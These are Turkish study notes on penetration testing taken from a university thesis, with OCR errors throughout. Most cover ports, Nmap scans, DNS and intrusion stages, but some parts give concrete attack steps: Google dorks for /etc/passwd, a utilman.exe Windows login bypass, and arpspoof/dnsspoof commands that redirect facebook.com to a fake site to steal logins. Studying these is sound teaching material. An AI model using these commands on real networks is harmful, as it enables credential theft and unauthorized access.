ON BILGI

Bir makale internetten bulunup su adreste yedeklenmistir.

e https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/S
%C3%BCleyman%20Demirel%20%C3%9Cniversitesi%20Tezi.pdf

Bu belge ise yedeklenen bu makaleye calisilarak elde edilen notlarimi
kapsamaktadir. Bu ¢ikarilan notlar belgemde alintilar ve/veya kisisel ilavelerim
mevcuttur.



1)

DNS Sunucu: isimden IP, IP adresinden isim ¢cézimleyen sistemdir. UDP 53. portu
kullanir.

Web Sunucu: Html, php, asp ve benzeri sunucu tarafli betik dil ile yazilmis web
sayfalarini Uzerinde bulunduran sunucu olup TCP 80. portu kullanmaktadir.

FTP Sunucu: Dosya paylasimini saglayan sunuculardir. TCP 20. ve TCP 21.
portlari kullanirlar.

Mail sunucu: Mail hizmeti sunan sunuculardir.
SQL sunucu: Veri tabanlarinin bulundugu sunucudur.

DHCP sunucu: Otomatik IP dagitmaya yarayan sistem olup; UDP 67 ve UDP 68.
portlari kullanir.

SNMP sunucu: Ag bilgi protokolil SNMP protokolldur. Calisan cihazlar hakkinda
merkezi bir sunucudan bilgi alinabilmesi icin kullanilan sunucudur. Ornegin
sicaklik bilgisi gibi UDP 161. portu kullanir.

IPS (Intrusion Prevention Systems - Sizmayi Engelleyici Sistem): 7.
Katmanda denetleme yapan ve Uzerindeki imzalardan yararlanarak zararli trafigi
durduran cihazdir.

IDS: Uzerindeki imzalar ile zararh trafigi kayit altina alan cihazdir.

WAF (Web Application Firewall - Web Guvenlik Duvari): Web tarafinda
yapilacak SQL injection XSS gibi ataklari kesen cihaz.

Asagidaki resimde standart ag cihazlari ile dizayn edilmis érnek bir ag yapisi
gorulmektedir.
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(Page 31-32)

2)

Sizma Adimlari

Adim 1, internet iizerinden, arama motorlarindan, mail gruplarindan, DNS ve Whois kayitlarindan
ve Google map‘den bilgi toplanmasi.

Adim 2, Port taratmak, banner yakalamak, versiyon belirlemek, calisan servislerin bulunmasi,
kullanilan yazilimin bulunmasi.

Adim 3, zafiyet tarama araclar1 ya da manuel olarak zafiyetlerin bulunmasi.

Adim 4, zafiyetlerin istismar edilmesi.

Adim 5, sistemin ele gecirilmesi.

Adim 6, izlerin temizlenmesi.

(Page 33)

3)

Bilgi Toplama Asamasi

Aktif ve pasif olarak bilgiler toplanabilmektedir. Pasif bilgi toplama yonteminde
sistemde iz brakilmadan acik servisler Gzerinden bilgi toplanilirken, aktif bilgi
toplama yonteminde sistem ile birebir iletisime gecilmektedir. Mesela domain
kayitlarini ortaya doken Netcraft sitesi pasif bilgi toplama aracglarindan birisidir.

(Page 33-34)



4)

Google Hacking Dorklan
Site bazli arama yapar.

> site: www.includekarabuk.com

Yededi alinarak unutulmus ve erisimi olan veritabanlarini arar.

> mysql dump filetype:sql

XLS, PDF, PPT gibi dosya uzantilarini kullanarak arama yapilmasina olanak verir.

> filetype: xslt

“robots” dosyalarini arar.

> intitle:index.of robots.txt

Konulan tim kelimelerin birlikte yer aldigi URL’leri arar.

> allinurl: kalem kagit defter

Com uzantili URL'ler icerisinde /etc/passwd yazisi gecen sayfalari arar.

> inurl:/etc/passwd site:com

Title icerisindeki aramalari yapar.
> intitle:

(Page 34-35)



5)

DNS Protokolii Aracilig: ile Bilgi Toplanmasi

Domain Name System (DNS) isimleri IP, IP‘leri de isimlere cevirmeye yarar. DNS
Uzerinde birtakim kayitlar tutulur. Linux makinalarda DNS ile ilgili kayitlar
/etc/resolv.conf, /etc/hosts gibi dosyalar icerisinde tutulurken, Windows
makinalarda ise c:\windows\system32\drivers\etc\hosts gibi dosyalar icerisinde
tutulur. Anilan kayit tUrleri asagida Tablo 1.2‘de gérulmektedir. Zone transfer
yapilarak, DNS Uzerinden bilgi toplanilabilir.

Ns : DNS Kayitlari

Mx: Mail Sunucu Kayitlar

Ptr: IP adresinden domaine donusum kayitlar
A : Domain’den IP adresine donusum kayitlari
Txt: DNS hakkinda bilgi verir.

(Page 36)

6)

Nmap‘in calisma prensibinin anlasilabilmesi icin Uclu el sikisma bayraklarinin ve
mantiginin anlasilmasi gerekir. TCP bayraklari asagdidaki sekilde 6zetlenebilir:

SYN (Senkronizasyon Bayragi): Ucli el sikismanin baslamasi ve
senkronizasyon saglanmasi icin génderilen pakettir.

SYN/ACK (Onay Paketi): Syn paketi alindiktan sonra paketi aldigina dair
karsinin gonderdigi pakettir. Syn/ack paketinin sira numarasi syn paketinin sira
numarasindan bir fazladir.

RST (Yeniden Gonderme): Datanin gonderilmesi sirasinda olusan bir
sikintidan dolayi yeniden gonderilmesi icin gonderilen pakettir. Ayni zamanda
kurulan TCP baglantisini ani olarak sonlandirmak icin de kullanilir.



PSH (Push): Datanin hizli bir sekide tcp katmaninda daha fazla bekletilmeden
gonderilmesini belirten pakettir.

URG (Acil): Acil olarak iletilmesi gereken veriyi iceren pakettir.

CWR (Congestion Window Reduced): Tikanmaya bagl olarak pencere
boyutunun klUguUltilmesi gerektigini belirten paket.

ECE (Explicit Congestion Notification Echo): Tikanmanin var oldugunu
belirtir.

SYN wira numaras: 19875
[,
|

SYN sira numaras 67543 + ACK sra numaras 19877

- -

3 ]
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ACK sira numaras: 67544

TCP oturumlari yukaridaki G¢lu el sikisma ile kurulur. Bu oturumlari
sonlandirabilmek icin iki yontem vardir. Bunlardan birincisinde oturumu
sonlandirmak isteyen makina RST paketi yollayarak iletisimi ani bir sekilde
sonlandirir. ikinci ydntemde ise iletisimi sonlandirmak isteyen makina karsi
tarafa fin+ack paketi yollar. Talebi (paketi) alan karsi taraftaki makina buna
karslik 6nce ack paketi yollar. Hemen ardindan fin+ack paketini yollar. iletisimi
sonlandirmayi talep eden taraf ise ACK paketini yollayarak iletisim sonlandiriimis
olur. Bu isleyisi asagidaki resimde gorebilirsin (Client iletisimi sonlandirmak
isteyen tarafi temsil etmektedir):
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Nmap baz alinarak port tarama tarleri ve aciklamalari kisaca asagidaki gibi
Ozetlenebilir:

SYN tarama (-sS) : Hedef porta SYN paketi yollanir. Eger port acik ise
SYN+ACK paketi doner. Boylece portun acik oldugu tespit edilmis olur ve tarama
yapan taraf G¢lu el sikismayi tamamlamamak icin karsiya RST paketi géndererek
baglantiyl keser. Eger port kapali olsaydi karsidan RST paketi dénerdi. Eger
karsidan hicbir yanit gelmeseydi hedefin éntinde bir glivenlik duvari var oldugu
ddsunalirdd ve bu durumu ifade etmek icin de porta filtrelenmis(filtered)
denirdi.

UDP tarama (Nmap -sU): Tarama daha yavastir ve sonuclar bazen yanlis
cikabilmektedir. Karsidaki makinaya UDP paketi yollanir. Eger karsidan UDP
cevabi geliyorsa port acik (open) olarak algilanir. Karsidan UDP paketine cevap
olarak ICMP port unreachable paketi geliyorsa (ICMP type 3 code 3) port kapali
(closed) olarak algilanir. ICMP port unreachable (type 3 code 1, 2, 9, 10, 13)
mesajl donerse port filitrelenmis (filtered) olarak algilanir. UDP paketine karsi
herhangi bir paket gelmedigi zamanlarda acik ya da filitrelenmis (openl|filtered)
olarak Nmap yorumlar.



TCP tarama (Nmap -sT): “-p” parametresi ile (-p 1-65535 seklinde) portlar
ozellikle belirtiimez ise Nmap 1-1024 arasindaki portlari tarayacaktir. Tarama
icin 6nce SYN paketi yollanir. SYN+ACK donerse port acik (open) demektir. Eger
ICMP port unreachable cevabi donerse ya da cevap donmezse port filtrelenmis
(filtered) demektir. EGer RST cevabi gelirse port kapali (closed) demektir.

ACK tarama (Nmap -sA): Durum denetlemeli (stateful) guvenlik duvarlarinda
ise yaramaz. Hedefe ACK paketleri yollanir. Amag acik portlari 6grenmekten
ziyade ag haritasi ¢cikartmaktir.

Versiyon tarama (-sV): Versiyon tarama sayesinde onunde SYN cookie
bulunan sistemlerde hangi servislerin calistigi bulunabilir. Ayrica bu tarama
yontemi ile portlarin arkasinda calisan servisler de tespit edilebilir.

(Page 37-40)

7)

Servis Versiyon Bilgisini Alma

Banner yakalama yontemi, hedef sistemde caligsan servis hakkinda, servisin tiirii ve versiyonu
gibi bilgilerin alinmasini saglayan bir yontemdir. Hedef sistemde IPS‘in olup olmadiginin
anlasilmasi gibi husularda da kullanilir. Kullanimi asagidaki gibidir:

telnet 192.168.1.23 80




Donen cevapta web sunucu versiyonu gorulebilir. E§er cevap web sunucudan
donlyorsa arada IPS olmadigi anlsilir. Hedef sistemde neyin calistigi bilinirse, o
sisteme gore istismar kodu ile atak yapilabilir. Banner yakalamayi engellemek
icin L7 guvenlik duvari veya IPS kullanilmasi gerekir. IPS Uzerinde imza yazilarak
acik portlardan gelen telnet istekleri kapatilabilir. IDS kullanilarak da gelen
istekler loglanmalidir.

(Page 40-41)

8)

Aga Giden Yolun Belirlenmesi

Aga giden yollarin belirlenmesi icin Traceroute ve tcptraceroute gibi araclar
kullanilabilmektedirler. Traceroute ve Tcptraceroute araclari, ICMP ve UDP
tabanli calisir. Hedefe génderilen paketlerin hangi yoldan gittiginin anlasiimasi
icin kulanilir. Paket yasam suresi degeri varsayilan olarak routerlarda 256, linux
makina ve switchlerde 64, windows makinalarda 128‘dir. Paket her bir cihazin
Ustinden gectiginde TTL degeri 1 birim azalir. Béylece hedefe giderken kac
router atlandigi, hatta Tcptraceroute da kullanilarak, karsi tarafta givenlik
duvari olup olmadigi anlasilabilir. Buna karsin, Tcptraceroute karsi sistemdeki
cihazda UDP ve ICMP portlari kapali olugu durumlarda kullanilabilir. Karsiya TCP
paketi génderir. ilk durumda givenlik duvari var ise glivenlik duvarinin IP adresi
gdrinmez ve **** olur. Tcptraceroute denemesinde guvenlik duvarinin IP adresi
gorulebilir. (Page 41)

9)

IPV6‘ya geciste ARP protokolintn yerini NDP almistir. NDP tipki ARP gibi yerel ag
kesif protokoludur.

(Page 42, 44)



10)

SSL (secure socket layer) agda akan trafigin gizliligini saglamak amaci ile
netscape tarafindan gelistirilmis iki anahtarh sifreleme sistemidir Anahtarlardan
biri public, digeri private'tir.

(Page 46)

11)

DHCP

DHCP (Dynamic Host Configuration Protocol - Dinamik Host Yapilandirma
Protokoll) agdaki makinalarin IP, DNS ve ag gecidi ayarlarinin otomatik olarak
yapilandirilmasi icin kullanilir. DHCP, UDP protokollUnu kullanir. Bilgisayar ilk
acildigr anda ortamda DHCP sunucu olup olmadiginin kontrol edilmesi icin DHCP
sunucunun 68. portuna son kullanicinin UDP 67. port noktasindan discovery
paketi yollanilir. Sayet agda DHCP sunucu var ise discovery paketini alan sunucu
kendisine discovery paketi yollayan son kullaniciya offer paketi yollar. Son
kullanici offer paketini aldiktan sonra sunucuya request paketi yollar. Sunucu
son kullaniciya ACK paketi yolladiginda otomatik IP yapilandirma islemi
tamamlanir

(Page 46-47)

12)

iki cesit DNS sorgusu yapilmaktadir: iteratif ve recursive sorgular. iteratif sorgu
DNS sunucular arasinda yapilan sorgulara denir. Recursive sorgu son kullanici
tarafindan DNS sunucuya yapilan sorgulara denir. DNS IP-isim donusumu
kayitlarini GUzerinde tuttugu icin glvenlik acisindan en kritik sistemlerden bir
tanesidir.
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(Page 49)
13)

Sql acikliklarindan yararlanilarak veritabani ele gecirilebilir ve sistemlere arka
kapi enjekte edilebilir.

(page 32)

14)

Kablosuz aglarda sifreleme cesidi olan WEP RC4 algoritmasini kullanmaktadir.
Orijinal metin RC4 anahtari ile XOR islemine tabi tutulur. Paylasilan anahtar son
kullanicida da bulundugu icin kendisine gelen kriptolu trafigi XOR isleminden
gecirerek acar.

(Page 59)



15)

Windows Utilman.exe zafiyeti
Bu yontemde bilgisayar Backtrack isletim sistemi ile acilir. C:\\windows\\
system32 dizini altinda bulunan cmd.exe, utilman.exe Uzerine kopyalanir.

Boylece windows acilirken gelen parola ekraninin sag alt kosesinde bulunan
simge kullanilarak terminale erisim hakki kazanilir.

Kullanici olusturularak sisteme admin yetkileri ile giris yapilabilir. Yani oturumu
sifreli olan bir windows’un oturum acma mekanizmasi bu sekilde bypass
edilebilmektedir. (Page 62-63)

16)

DNS Spoofing (Denedim, Calismadi!!! Ama teorik olarak bil)

Agin timUne, yada atak yapilmak istenilen son kullaniciya arp spoofing yapilir.
Boylelikle son kullanicinin DNS isteklerine dnsspoof araci kulanilarak cevap
verilir. Son kullanici adres cubuguna girmek istedigi adresi yazip enter’ladiginda



dns kaydinda neresi gosterilmisse oraya yonlendirilir. Mesela yonlendirilen site
mevcut sitenin fake hali olabilir. Boylece son kullanici login bilgilerini fake siteye
girerek caldirabilir. DNS Spoof yapabilmek icin dnce bir dns dosyasi olusturalim:

dns.txt ¥

192.168.1.156 www.facebook.com
192.168.1.156 *_ facebook.com

Ardindan sunlar sirasiyla farkl terminallere girilir:

> arpspoof -t 192.168.2.2 192.168.2.1
(Victim IP) (Router IP)

> arpspoof -t 192.168.2.1 192.168.2.2

(Router IP)  (Victim IP)

> echo 1 > /proc/sys/net/ipv4/ip_forward

> dnsspoof -i ethO -f /root/Desktop/dns.txt

Bdylelikle kurban facebook’a giriyorum diye sahte sayfaya yonlendirilecektir.
Eger DNS Spoof yerel agdaki degil de uzaktaki bir bilgisayara yapilmak
isteniyorsa o zaman arp spoof kullanilmaz. Sadece dnsspoof kullanilir:

> dnsspoof -f /root/Desktop/dns.txt host 202.21.22.10
(Victim IP)
(Page 70-71)

17)



Switch MAC adres tablosu doldurularak switch hub cihazi gibi calisitirilabilir. Bu
atak uzun slre devam ettirildigi zaman servis disi birakma atagina
donusebilmektedir. Atak yapan kisi, switch cihazini huba déndsturdigu icin
broadcast sonucu Wireshark ile kullanicilarin tim trafigini gértnteleyebilir hale
gelmistir.

(Page 76-77)

18)

Sayfa 40, “3.2.1.7. Servis versiyonu bilgi alma“ basliginda kaldin.



